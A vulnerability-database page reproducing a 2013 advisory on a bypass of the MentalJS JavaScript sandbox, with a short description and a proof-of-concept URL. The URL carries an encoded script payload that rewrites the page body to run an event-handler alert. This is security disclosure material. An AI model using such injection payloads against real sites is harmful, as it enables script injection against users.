Lucene search
K

Mental JS Sandbox Bypass

🗓️ 20 Sep 2013 00:00:00Reported by Rafay BalochType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Mental JS Sandbox Bypass vulnerability in html response preventing attacker access to dom elements. Proof of concept at modsecurity.org

Code
`#Title: Mental JS Sandbox Bypass  
# Product: Mental JS  
# Author: Rafay Baloch And Gliuseppe Trotta (@guitro)  
# Company: RHAINFOSEC  
# Website: http://services.rafayhackingarticles.net  
  
============  
Description  
============  
  
Mentaljs is a js sandbox created by Gareth Heyes, the JS sandbox is  
inserted at beginning of the html response, therefore preventing the  
attacker to access dom elements.  
  
============  
Vulnerability  
============  
  
It was still possible to access DOM elements with mental js enabled by  
executing javascript via document.inner.HTML property.  
  
  
================  
Proof of concept  
================  
  
The POC is as follows:  
  
http://www.modsecurity.org/demo/demo-deny-noescape.html?test=%3Cscript%3Edocument.body.innerHTML=%22%3Cform+onmouseover=javascript:alert(0);%3E%3Cinput+name=attributes%3E%22;%3C/script%3E  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation